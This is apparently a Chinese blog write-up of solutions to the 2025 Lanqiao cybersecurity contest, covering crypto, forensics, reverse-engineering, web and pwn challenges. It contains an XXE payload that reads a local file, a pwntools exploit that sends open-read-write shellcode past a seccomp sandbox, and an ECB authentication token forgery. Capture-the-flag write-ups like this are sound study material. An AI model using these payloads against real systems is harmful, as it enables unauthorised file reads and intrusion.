2025蓝桥网络安全 wp

luyanpei

image-20250426084037419

Enigma

cyberchef倒过来直接出

image-20250426105746947

flag{HELLOCTFERTHISISAMESSAGEFORYOU}

ShadowPhases

断点下在这里

image-20250426110255155

动调

image-20250426104739807

可以发现在右下角直接捕获flag

flag{0fa830e7-b699-4513-8e01-51f35b0f3293}

星际XML解析器

让输入xml,考虑xxe读flag出来

1
2
3
4
5
6
<DOCTYPE data
<!ENTITY xxe SYSTEM "file://flag">
]>
<data>
<message>&xxe;</message>
</data>

image-20250426104727968

flag{3594e0ee-9fa3-4d66-871e-7f3c008b6d2e}

ezEvtx

日志分析,打开日志

image-20250426112707823

定位到这个

flag{confidential.docx}

RuneBreach

image-20250426110540262

ida打开发现沙箱

禁用了execve,无法正常shell拿flag

考虑orw open read write

看程序流程

image-20250426110807355

输入4次y之后进入

image-20250426110919757

利用这一部分read写shellcode打orw

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=process("./chall")
p=remote("39.107.245.163",26927)
for i in range(4):
p.sendlineafter(b'(y/N):',b'N')
shell = """
/* open("flag", O_RDONLY) */
xor eax, eax /* rax = 0 (syscall number + clear高位) */
push rax /* 压入字符串终止符 0x00 */
mov dword ptr [rsp-4], 0x67616c66 /* 写入 'flag' (小端: 'flac') */
mov byte ptr [rsp-8], 0x2f /* 写入 '/' */
sub rsp, 8 /* 调整栈指针到字符串起始位置 */
mov rdi, rsp /* rdi = 路径地址 */
xor esi, esi /* rsi = 0 (O_RDONLY) */
mov al, 2 /* syscall 2: open */
syscall

/* read(fd, buf, 0x100) */
xchg rdi, rax /* rdi = 文件描述符 (1字节指令) */
sub rsp, 0x100 /* 在栈上分配缓冲区 */
mov rsi, rsp /* rsi = 缓冲区地址 */
mov edx, 0x100 /* rdx = 读取长度 (避免64位立即数) */
xor eax, eax /* syscall 0: read */
syscall

/* write(1, buf, len) */
mov rdx, rax /* rdx = 读取的字节数 */
xor edi, edi /* rdi = 0 */
inc edi /* rdi = 1 (stdout) */
xor eax, eax
mov al, 1 /* syscall 1: write */
syscall

/* exit(0) */
xor eax, eax
mov al, 60 /* syscall 60: exit */
xor edi, edi /* exit code 0 */
syscall
"""
shellcode=asm(shell)
# gdb.attach(p)
p.sendlineafter(b'territory:',shellcode)
p.interactive()from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=process("./chall")
p=remote("39.107.245.163",30757)
for i in range(4):
p.sendlineafter(b'(y/N):',b'N')
shell="""
xor rax,rax
push rax
mov rbx,0x67616c662f
push rbx
mov rdi,rsp
xor rsi,rsi
mov rax,2
syscall
mov rdi,rax
sub rsp,0x100
mov rsi,rsp
mov rdx,0x100
xor rax,rax
syscall
mov rdx,rax
mov rdi,1
mov rax,1
syscall
xor rdi,rdi
mov rax,60
syscall
"""
shellcode=asm(shell)
# gdb.attach(p)
p.sendlineafter(b'territory:',shellcode)
p.interactive()

黑客密室逃脱

点点点

发现密文image-20250426122146788

记录下来

image-20250426122220599

爆破文件目录

得到flask框架,访问框架源码app.py

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import os
from flask import Flask, request, render_template
from config import *
# author: gamelab

app = Flask(__name__)

# 模拟敏感信息
sensitive_info = SENSITIVE_INFO

# 加密密钥
encryption_key = ENCRYPTION_KEY

def simple_encrypt(text, key):
encrypted = bytearray()
for i in range(len(text)):
char = text[i]
key_char = key[i % len(key)]
encrypted.append(ord(char) + ord(key_char))
return encrypted.hex()

encrypted_sensitive_info = simple_encrypt(sensitive_info, encryption_key)

# 模拟日志文件内容
log_content = f"用户访问了 /secret 页面,可能试图获取 {encrypted_sensitive_info}"

# 模拟隐藏文件内容
hidden_file_content = f"解密密钥: {encryption_key}"

# 指定安全的文件根目录
SAFE_ROOT_DIR = os.path.abspath('/app')
with open(os.path.join(SAFE_ROOT_DIR, 'hidden.txt'), 'w') as f:
f.write(hidden_file_content)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/logs')
def logs():
return render_template('logs.html', log_content=log_content)

@app.route('/secret')
def secret():
return render_template('secret.html')

@app.route('/file')
def file():
file_name = request.args.get('name')
if not file_name:
return render_template('no_file_name.html')
full_path = os.path.abspath(os.path.join(SAFE_ROOT_DIR, file_name))
if not full_path.startswith(SAFE_ROOT_DIR) or 'config' in full_path:
return render_template('no_premission.html')
try:
with open(full_path, 'r') as f:
content = f.read()
return render_template('file_content.html', content=content)
except FileNotFoundError:
return render_template('file_not_found.html')

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0')

发现有一个hidden.txt文件,访问得到key

image-20250426122349795

根据得到的源码写解密脚本

image-20250426122417069

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from contourpy.util.data import simple
from fire.test_components import simple_decorator


def decrypt(cipher,key):
encrypt_hex=bytes.fromhex(cipher)
decrypted= bytearray()
for i in range(len(encrypt_hex)):
char=encrypt_hex[i]
key_char=key[i%len(key)]
decrypted.append(char-ord(key_char))
return decrypted.decode()
cipher="d9d1c4d9e0dac1cc9edb71976a64d8989caa92a897cf9ea6999c659aa0c896d797a5979cc6db9d9b64b4"
key="secret_key8637"
decrypted_info=decrypt(cipher,key)
print(decrypted_info)

flowzip

流量包,wireshark打开里面有100个压缩包

image-20250426125112059

发现有一个大小不一样得压缩包

image-20250426133359716

导出

image-20250426133432764

得到flag{c6db63e6-6459-4e75-bb37-3aec5d2b947b}

easy_AES

题目给出以下信息:

  • gift: 一个整数 64698960125130294692475067384121553664

  • key1_hex: AES密钥的十六进制字符串 74aeb356c6eb74f364cd316497c0f714

  • cipher_hex: 经过两次AES加密后的密文

    1
    2
    3
    4
    5
    '''
    gift = 64698960125130294692475067384121553664
    key1 = 74aeb356c6eb74f364cd316497c0f714
    cipher = b'6\xbf\x9b\xb1\x93\x14\x82\x9a\xa4\xc2\xaf\xd0L\xad\xbb5\x0e|>\x8c|\xf0^dl~X\xc7R\xcaZ\xab\x16\xbe r\xf6Pl\xe0\x93\xfc)\x0e\x93\x8e\xd3\xd6'
    '''

    目标是恢复出另一个密钥 key0,解密密文得到以 flag{ 开头的明文。

    1
    key0_nibble[i] & key1_nibble[i] = gift_nibble[i]

    思路:

    gift_nibble是将 gift 转为128位二进制后分割为32个4位片段得到

    拆分半字节数组将 gift 转换为128位二进制,分割为32个4位的 gift_nibbles。

    将 key1_hex 转换为32个半字节数组 key1_nibbles。

    计算每个位置的候选值 对每个位置 i,

    计算所有满足 x & key1_nibbles[i] = gift_nibbles[i] 的 x 值(即可能的 key0 半字节值)。

    分组交叉约束将 key1 中相同值的半字节位置分组。

    对每组,取其所有位置候选值的交集,形成每个 key1 半字节值对应的候选 key0 半字节集合。

    回溯搜索合法解按候选集大小升序处理(剪枝优化),尝试为每个 key1 半字节值分配唯一的 key0 半字节。

    构造 key0_hex,验证双重AES解密结果是否为合法Flag格式。

    脚本

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80

    from Crypto.Cipher import AES
    from Crypto.Util.Padding import unpad
    from collections import defaultdict

    # 已知数据
    gift = 64698960125130294692475067384121553664
    key1_hex = "74aeb356c6eb74f364cd316497c0f714"

    cipher_hex = ("36bf9bb19314829aa4c2afd04cadbb35"
    "0e7c3e8c7cf05e646c7e58c752ca5ab"
    "165e722..."
    ).replace(" ", "")
    cipher = bytes.fromhex(cipher_hex)

    # 将 gift 转换为 32 个 nibble (4-bit)
    gift_bin = format(gift, '0128b')
    gift_nibbles = [int(gift_bin[i*4:(i+1)*4], 2) for i in range(32)]

    # 提取 key1 的 nibbles
    key1_nibbles = [int(key1_hex[i], 16) for i in range(32)]

    # 生成每个位置的候选 x 值
    pos_cands = []
    for i in range(32):
    m = key1_nibbles[i]
    b = gift_nibbles[i]
    pos_cands.append([x for x in range(16) if (x & m) == b])

    # 按 key1 的 nibble 分组并求交集
    positions_by_y = defaultdict(list)
    for i, y in enumerate(key1_nibbles):
    positions_by_y[y].append(i)

    y_cands = {}
    for y, poses in positions_by_y.items():
    common = set(pos_cands[poses[0]])
    for p in poses[1:]:
    common.intersection_update(pos_cands[p])
    y_cands[y] = list(common)

    # 回溯搜索有效反置换
    inv_map = {}
    solutions = []
    # 按候选数升序排列以优化搜索
    items = sorted(y_cands.items(), key=lambda kv: len(kv[1]))

    def dfs(idx):
    if idx == len(items):
    key0_nibbles = [inv_map[y] for y in key1_nibbles]
    key0_hex = "".join(f"{n:x}" for n in key0_nibbles)
    if len(key0_hex) != 32:
    return False
    try:
    aes1 = AES.new(bytes.fromhex(key1_hex), AES.MODE_CBC, bytes.fromhex(key0_hex))
    aes0 = AES.new(bytes.fromhex(key0_hex), AES.MODE_CBC, bytes.fromhex(key1_hex))
    intermediate = aes1.decrypt(cipher)
    plaintext = unpad(aes0.decrypt(intermediate), 16)
    if plaintext.startswith(b"flag{"):
    print("Success! Key0:", key0_hex)
    print("Flag:", plaintext.decode())
    solutions.append((key0_hex, plaintext))
    return True
    except:
    pass
    return False

    y, candidates = items[idx]
    for x in candidates:
    inv_map[y] = x
    if dfs(idx + 1):
    return True
    del inv_map[y]
    return False

    # 启动搜索
    if dfs(0):
    print("解密成功!")
    else:
    print("未找到有效解,请检查输入数据。")

    image-20250426134324761

ECBTrain

环境nc连上

image-20250426134757777

测试一下说要以admin身份登录

image-20250426134829449

auth输出base64

exp:

1
2
3
4
5
6
7
8
9
10

import base64
def func(encode_string):
decode_str=base64.b64decode(encode_string)
byte_16=decode_str[-16:]
new_encoded_str=base64.b64encode(byte_16).decode("UTF-8")
return new_encoded_str
input_str="PmfEW4LyOtJVXk3X54wz0202VISB19HBsBaQxaFtiT0="
flag=func(input_str)
print(flag)

将输出得东西输入登录回去

image-20250426135205174

getflag

  • Title: 2025蓝桥网络安全 wp
  • Author: luyanpei
  • Created at : 2025-04-27 00:07:05
  • Updated at : 2025-05-14 20:44:47
  • Link: https://redefine.ohevan.com/2025/04/27/2025蓝桥网络安全/
  • License: All Rights Reserved © luyanpei